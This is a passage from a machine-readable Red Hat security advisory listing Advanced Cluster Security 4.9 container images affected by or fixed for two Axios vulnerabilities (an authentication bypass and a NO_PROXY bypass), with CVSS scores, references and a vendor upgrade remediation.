"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-slim-rhel8@sha256:e9628b5c8ea548da2f8e1827c16f0706e0dd7e88eb67ee155f09fd28544ce2bd_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-db-rhel8@sha256:09ded9eb45b2da2e46f75b202cf82b0e3255cd2aa2a6d99961f204bca5227039_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-db-rhel8@sha256:2068fb8c962c4edbca57a02e26fe347147caf3cf843e9ffc1c9d3c77d321bf3a_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-db-rhel8@sha256:4b0a410f92ee242948b39a05c40b8262cf96014ae103feeec7500dc0a54457e2_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-db-rhel8@sha256:7e4be68af7aba018ca7f7482c01baf21eefd91667172a90bbc45adb6fe0f4495_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-rhel8@sha256:0f84e20e7c7b45861749bb2c303a5b8f2fd8f6268304b5e968810e8f1c5d8c36_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-rhel8@sha256:3b3d719054e1e0c39ce3ba0e433b391938576a8ece5ac52fce1d1f4bae0704d6_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-rhel8@sha256:674041f4d277962ee71273839e2ee9a13a979eed5021feefa5eadc9bf6f68cf9_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-rhel8@sha256:fb52c5e0fbe765e659f72ca61fa429fb59ae1c9030e846770e54a371a1e1b227_ppc64le"
]
},
"references": [
{
"category": "self",
"summary": "Canonical URL",
"url": "https://access.redhat.com/security/cve/CVE-2026-42041"
},
{
"category": "external",
"summary": "RHBZ#2461629",
"url": "https://bugzilla.redhat.com/show_bug.cgi?id=2461629"
},
{
"category": "external",
"summary": "https://www.cve.org/CVERecord?id=CVE-2026-42041",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-42041"
},
{
"category": "external",
"summary": "https://nvd.nist.gov/vuln/detail/CVE-2026-42041",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-42041"
},
{
"category": "external",
"summary": "https://github.com/axios/axios/security/advisories/GHSA-w9j2-pvgh-6h63",
"url": "https://github.com/axios/axios/security/advisories/GHSA-w9j2-pvgh-6h63"
}
],
"release_date": "2026-04-24T17:55:30.036000+00:00",
"remediations": [
{
"category": "vendor_fix",
"date": "2026-05-26T14:29:00+00:00",
"details": "If you are using an earlier version of RHACS, you are advised to\nupgrade to the version of RHACS mentioned in the synopsis and release\nnotes in order to take advantage of the enhancements, bug fixes, and/or\nsecurity patches in the release.",
"product_ids": [
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-main-rhel8@sha256:2c05b3567adc67bc468830cdfc66e820f7cbb47ee0b5043a07be7ece7ab57a98_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-main-rhel8@sha256:95c56e8f242a9ec6be3cccd752eb0a37638b7a6c249b4363ed22e55ff659ef82_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-main-rhel8@sha256:ad08006151b38330f5134c6c229a4c74361e85f4e4ad6124d41c0178f00d471d_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-main-rhel8@sha256:de5929be6c71347b05b69ed72f9fd3c505fa72be437c224a2742240ff4f2cd47_s390x"
],
"restart_required": {
"category": "none"
},
"url": "https://access.redhat.com/errata/RHSA-2026:20938"
}
],
"scores": [
{
"cvss_v3": {
"attackComplexity": "LOW",
"attackVector": "NETWORK",
"availabilityImpact": "NONE",
"baseScore": 8.2,
"baseSeverity": "HIGH",
"confidentialityImpact": "LOW",
"integrityImpact": "HIGH",
"privilegesRequired": "NONE",
"scope": "UNCHANGED",
"userInteraction": "NONE",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:H/A:N",
"version": "3.1"
},
"products": [
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-central-db-rhel8@sha256:35f6d1d992eea9f67da1adf5418823547cb0dff248a54556d06ec7156fb35e87_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-central-db-rhel8@sha256:553b8a7333d8106e57f1219d88ec16c3215e888659b4cb0c8c50f3ae87291c6c_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-central-db-rhel8@sha256:6772545c27997554b7b94a2d6017b80949757254b2ebdaba23667d59010100a6_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-central-db-rhel8@sha256:babe2e99270875bb70f7e3c239cb2bd3d425cafd2c794efcd57d23924d9d0012_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-collector-rhel8@sha256:0f88c2913f1904a841a51a80a3e3209f56c80ad74e0b217a32ad99a7cffbb6fb_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-collector-rhel8@sha256:24e7b2da3205f2c619394e87375974a532c57900e14aa5e15b2018d9f2caaba1_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-collector-rhel8@sha256:5ded5b808f00c26f0afc17808b1a5ab5a2877cca6bd90a98375ac253d3abeeca_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-collector-rhel8@sha256:5ec312a6d0e0e911f5187f8dbf6b3045ff70f52c555e181316b983008c00e4c2_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-main-rhel8@sha256:2c05b3567adc67bc468830cdfc66e820f7cbb47ee0b5043a07be7ece7ab57a98_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-main-rhel8@sha256:95c56e8f242a9ec6be3cccd752eb0a37638b7a6c249b4363ed22e55ff659ef82_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-main-rhel8@sha256:ad08006151b38330f5134c6c229a4c74361e85f4e4ad6124d41c0178f00d471d_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-main-rhel8@sha256:de5929be6c71347b05b69ed72f9fd3c505fa72be437c224a2742240ff4f2cd47_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-operator-bundle@sha256:57da592df916a6bd9dfe90b2afc9a66b1cfb0da0053e87d0c65ef5c1bdf46969_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-rhel8-operator@sha256:3ff4a0d936d68e5e93b2eccf3b39271e5e6b510551fbb8c5f772db4bc5735771_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-rhel8-operator@sha256:8ca64e960ffe42a61f907fcda5e6bb99725c257d90e61360b948c9ccb41511cd_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-rhel8-operator@sha256:a0e7621e8d564efbc12c1aaadfbccc30bc4581684970b9730d11ab9fb2a234f1_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-rhel8-operator@sha256:c1cdc9beb3858a95e559a3432440a85c6b68ab0fd48c52672e645747b1540734_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-roxctl-rhel8@sha256:58dd6ad9728252d674ae923c43f836a1ba57ef756e995ba9a4c3c4aa79d5c90a_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-roxctl-rhel8@sha256:5b73a668f7c0806f1a0496420f724b98c83540558e976f700fb2836c8339d77e_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-roxctl-rhel8@sha256:73fb048efc844d82f8b1b6f5ebd75cfc63b98d5818c815bea6f2af64c8fa8e9a_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-roxctl-rhel8@sha256:ec2d1346d211357af9a005e9ce76bbd66f3e57a966850c707e453f40e7c47b99_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-rhel8@sha256:5eb84a8c05c25aa5d9d4e2d195ded7c0080075c8e93de13a1ac11f4f40723449_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-rhel8@sha256:732beadbc0c0c1358ee6cee0121e88d576641669e8915bbbea49006642618bc8_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-rhel8@sha256:c0de0eeefda096ad2c5cc07be1146547a1181166bd9d0fa0027aebc6b0d44c51_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-rhel8@sha256:e1718a46c5a65053136d917e1618d745cce876b82d54f81b219d7618aff6cf95_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-slim-rhel8@sha256:288a49cc9c6a73d6a3afdf8fd5d3cc051449aa83085bc303458dabcc6eacc31d_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-slim-rhel8@sha256:4dd03edf3099d6908424a5b56369617597335091ed47153066ffd8f65525930c_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-slim-rhel8@sha256:a252b5f2daf717143d7305b90c927b8f6e559de98fa9ad2763d6d5c4db0e6e9c_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-slim-rhel8@sha256:dc4a0674531b12fd31493d6046da3a6926151abbed9abec01402bc9966df5756_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-rhel8@sha256:a493258b3ad62060f8f30a541a8dd0dfda0418fdcb1856b01031d8bc176a53d6_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-rhel8@sha256:c1d22483d11206d1dbfc43a89ee13644dd27eec8a3a6e29342d340e137e191df_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-rhel8@sha256:f71fa6ebb3c364c43038bf6968742e4c88efa567fbf5182611561a0016c09b65_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-rhel8@sha256:fa2c75c36da57d42a5285abec40f044b472cf782fa3505b2ad803ac2521d4fb4_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-slim-rhel8@sha256:50ad5781f1677028dfdfb98613ab75d843ec8a61ef6b2325545b73be0ef8cd82_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-slim-rhel8@sha256:7a7e2226a60242a9107043543e38cbe20e61991d83405c106b047d2b4e274125_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-slim-rhel8@sha256:8a804681a20fa3b8db7f70a4083d749eca45dcd043c837c0b3f9033bdea04494_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-slim-rhel8@sha256:e9628b5c8ea548da2f8e1827c16f0706e0dd7e88eb67ee155f09fd28544ce2bd_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-db-rhel8@sha256:09ded9eb45b2da2e46f75b202cf82b0e3255cd2aa2a6d99961f204bca5227039_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-db-rhel8@sha256:2068fb8c962c4edbca57a02e26fe347147caf3cf843e9ffc1c9d3c77d321bf3a_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-db-rhel8@sha256:4b0a410f92ee242948b39a05c40b8262cf96014ae103feeec7500dc0a54457e2_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-db-rhel8@sha256:7e4be68af7aba018ca7f7482c01baf21eefd91667172a90bbc45adb6fe0f4495_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-rhel8@sha256:0f84e20e7c7b45861749bb2c303a5b8f2fd8f6268304b5e968810e8f1c5d8c36_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-rhel8@sha256:3b3d719054e1e0c39ce3ba0e433b391938576a8ece5ac52fce1d1f4bae0704d6_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-rhel8@sha256:674041f4d277962ee71273839e2ee9a13a979eed5021feefa5eadc9bf6f68cf9_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-rhel8@sha256:fb52c5e0fbe765e659f72ca61fa429fb59ae1c9030e846770e54a371a1e1b227_ppc64le"
]
}
],
"threats": [
{
"category": "impact",
"details": "Important"
}
],
"title": "axios: Axios: Authentication bypass due to prototype pollution of HTTP error handling"
},
{
"cve": "CVE-2026-42043",
"cwe": {
"id": "CWE-918",
"name": "Server-Side Request Forgery (SSRF)"
},
"discovery_date": "2026-04-24T19:01:22.552379+00:00",
"flags": [
{
"label": "vulnerable_code_not_present",
"product_ids": [
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-central-db-rhel8@sha256:35f6d1d992eea9f67da1adf5418823547cb0dff248a54556d06ec7156fb35e87_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-central-db-rhel8@sha256:553b8a7333d8106e57f1219d88ec16c3215e888659b4cb0c8c50f3ae87291c6c_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-central-db-rhel8@sha256:6772545c27997554b7b94a2d6017b80949757254b2ebdaba23667d59010100a6_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-central-db-rhel8@sha256:babe2e99270875bb70f7e3c239cb2bd3d425cafd2c794efcd57d23924d9d0012_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-collector-rhel8@sha256:0f88c2913f1904a841a51a80a3e3209f56c80ad74e0b217a32ad99a7cffbb6fb_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-collector-rhel8@sha256:24e7b2da3205f2c619394e87375974a532c57900e14aa5e15b2018d9f2caaba1_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-collector-rhel8@sha256:5ded5b808f00c26f0afc17808b1a5ab5a2877cca6bd90a98375ac253d3abeeca_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-collector-rhel8@sha256:5ec312a6d0e0e911f5187f8dbf6b3045ff70f52c555e181316b983008c00e4c2_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-operator-bundle@sha256:57da592df916a6bd9dfe90b2afc9a66b1cfb0da0053e87d0c65ef5c1bdf46969_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-rhel8-operator@sha256:3ff4a0d936d68e5e93b2eccf3b39271e5e6b510551fbb8c5f772db4bc5735771_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-rhel8-operator@sha256:8ca64e960ffe42a61f907fcda5e6bb99725c257d90e61360b948c9ccb41511cd_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-rhel8-operator@sha256:a0e7621e8d564efbc12c1aaadfbccc30bc4581684970b9730d11ab9fb2a234f1_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-rhel8-operator@sha256:c1cdc9beb3858a95e559a3432440a85c6b68ab0fd48c52672e645747b1540734_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-roxctl-rhel8@sha256:58dd6ad9728252d674ae923c43f836a1ba57ef756e995ba9a4c3c4aa79d5c90a_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-roxctl-rhel8@sha256:5b73a668f7c0806f1a0496420f724b98c83540558e976f700fb2836c8339d77e_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-roxctl-rhel8@sha256:73fb048efc844d82f8b1b6f5ebd75cfc63b98d5818c815bea6f2af64c8fa8e9a_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-roxctl-rhel8@sha256:ec2d1346d211357af9a005e9ce76bbd66f3e57a966850c707e453f40e7c47b99_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-rhel8@sha256:5eb84a8c05c25aa5d9d4e2d195ded7c0080075c8e93de13a1ac11f4f40723449_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-rhel8@sha256:732beadbc0c0c1358ee6cee0121e88d576641669e8915bbbea49006642618bc8_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-rhel8@sha256:c0de0eeefda096ad2c5cc07be1146547a1181166bd9d0fa0027aebc6b0d44c51_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-rhel8@sha256:e1718a46c5a65053136d917e1618d745cce876b82d54f81b219d7618aff6cf95_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-slim-rhel8@sha256:288a49cc9c6a73d6a3afdf8fd5d3cc051449aa83085bc303458dabcc6eacc31d_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-slim-rhel8@sha256:4dd03edf3099d6908424a5b56369617597335091ed47153066ffd8f65525930c_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-slim-rhel8@sha256:a252b5f2daf717143d7305b90c927b8f6e559de98fa9ad2763d6d5c4db0e6e9c_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-slim-rhel8@sha256:dc4a0674531b12fd31493d6046da3a6926151abbed9abec01402bc9966df5756_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-rhel8@sha256:a493258b3ad62060f8f30a541a8dd0dfda0418fdcb1856b01031d8bc176a53d6_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-rhel8@sha256:c1d22483d11206d1dbfc43a89ee13644dd27eec8a3a6e29342d340e137e191df_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-rhel8@sha256:f71fa6ebb3c364c43038bf6968742e4c88efa567fbf5182611561a0016c09b65_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-rhel8@sha256:fa2c75c36da57d42a5285abec40f044b472cf782fa3505b2ad803ac2521d4fb4_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-slim-rhel8@sha256:50ad5781f1677028dfdfb98613ab75d843ec8a61ef6b2325545b73be0ef8cd82_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-slim-rhel8@sha256:7a7e2226a60242a9107043543e38cbe20e61991d83405c106b047d2b4e274125_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-slim-rhel8@sha256:8a804681a20fa3b8db7f70a4083d749eca45dcd043c837c0b3f9033bdea04494_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-slim-rhel8@sha256:e9628b5c8ea548da2f8e1827c16f0706e0dd7e88eb67ee155f09fd28544ce2bd_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-db-rhel8@sha256:09ded9eb45b2da2e46f75b202cf82b0e3255cd2aa2a6d99961f204bca5227039_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-db-rhel8@sha256:2068fb8c962c4edbca57a02e26fe347147caf3cf843e9ffc1c9d3c77d321bf3a_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-db-rhel8@sha256:4b0a410f92ee242948b39a05c40b8262cf96014ae103feeec7500dc0a54457e2_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-db-rhel8@sha256:7e4be68af7aba018ca7f7482c01baf21eefd91667172a90bbc45adb6fe0f4495_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-rhel8@sha256:0f84e20e7c7b45861749bb2c303a5b8f2fd8f6268304b5e968810e8f1c5d8c36_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-rhel8@sha256:3b3d719054e1e0c39ce3ba0e433b391938576a8ece5ac52fce1d1f4bae0704d6_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-rhel8@sha256:674041f4d277962ee71273839e2ee9a13a979eed5021feefa5eadc9bf6f68cf9_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-rhel8@sha256:fb52c5e0fbe765e659f72ca61fa429fb59ae1c9030e846770e54a371a1e1b227_ppc64le"
]
}
],
"ids": [
{
"system_name": "Red Hat Bugzilla ID",
"text": "2461626"
}
],
"notes": [
{
"category": "description",
"text": "A flaw was found in Axios, a promise-based HTTP client. An attacker who can control the destination address of an Axios request can exploit this vulnerability. By using specific internal network addresses (within the 127.0.0.0/8 range, excluding 127.0.0.1), the attacker can completely bypass the NO_PROXY protection, potentially leading to unauthorized access or information disclosure within the network. This issue is an incomplete fix for a previous vulnerability.",
"title": "Vulnerability description"
},
{
"category": "summary",
"text": "axios: Axios: NO_PROXY bypass via crafted URL",
"title": "Vulnerability summary"
},
{
"category": "general",
"text": "The CVSS score(s) listed for this vulnerability do not reflect the associated product\u0027s status, and are included for informational purposes to better understand the severity of this vulnerability.",
"title": "CVSS score applicability"
}
],
"product_status": {
"fixed": [
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-main-rhel8@sha256:2c05b3567adc67bc468830cdfc66e820f7cbb47ee0b5043a07be7ece7ab57a98_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-main-rhel8@sha256:95c56e8f242a9ec6be3cccd752eb0a37638b7a6c249b4363ed22e55ff659ef82_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-main-rhel8@sha256:ad08006151b38330f5134c6c229a4c74361e85f4e4ad6124d41c0178f00d471d_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-main-rhel8@sha256:de5929be6c71347b05b69ed72f9fd3c505fa72be437c224a2742240ff4f2cd47_s390x"
],
"known_not_affected": [
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-central-db-rhel8@sha256:35f6d1d992eea9f67da1adf5418823547cb0dff248a54556d06ec7156fb35e87_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-central-db-rhel8@sha256:553b8a7333d8106e57f1219d88ec16c3215e888659b4cb0c8c50f3ae87291c6c_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-central-db-rhel8@sha256:6772545c27997554b7b94a2d6017b80949757254b2ebdaba23667d59010100a6_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-central-db-rhel8@sha256:babe2e99270875bb70f7e3c239cb2bd3d425cafd2c794efcd57d23924d9d0012_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-collector-rhel8@sha256:0f88c2913f1904a841a51a80a3e3209f56c80ad74e0b217a32ad99a7cffbb6fb_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-collector-rhel8@sha256:24e7b2da3205f2c619394e87375974a532c57900e14aa5e15b2018d9f2caaba1_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-collector-rhel8@sha256:5ded5b808f00c26f0afc17808b1a5ab5a2877cca6bd90a98375ac253d3abeeca_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-collector-rhel8@sha256:5ec312a6d0e0e911f5187f8dbf6b3045ff70f52c555e181316b983008c00e4c2_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-operator-bundle@sha256:57da592df916a6bd9dfe90b2afc9a66b1cfb0da0053e87d0c65ef5c1bdf46969_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-rhel8-operator@sha256:3ff4a0d936d68e5e93b2eccf3b39271e5e6b510551fbb8c5f772db4bc5735771_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-rhel8-operator@sha256:8ca64e960ffe42a61f907fcda5e6bb99725c257d90e61360b948c9ccb41511cd_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-rhel8-operator@sha256:a0e7621e8d564efbc12c1aaadfbccc30bc4581684970b9730d11ab9fb2a234f1_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-rhel8-operator@sha256:c1cdc9beb3858a95e559a3432440a85c6b68ab0fd48c52672e645747b1540734_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-roxctl-rhel8@sha256:58dd6ad9728252d674ae923c43f836a1ba57ef756e995ba9a4c3c4aa79d5c90a_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-roxctl-rhel8@sha256:5b73a668f7c0806f1a0496420f724b98c83540558e976f700fb2836c8339d77e_amd64",
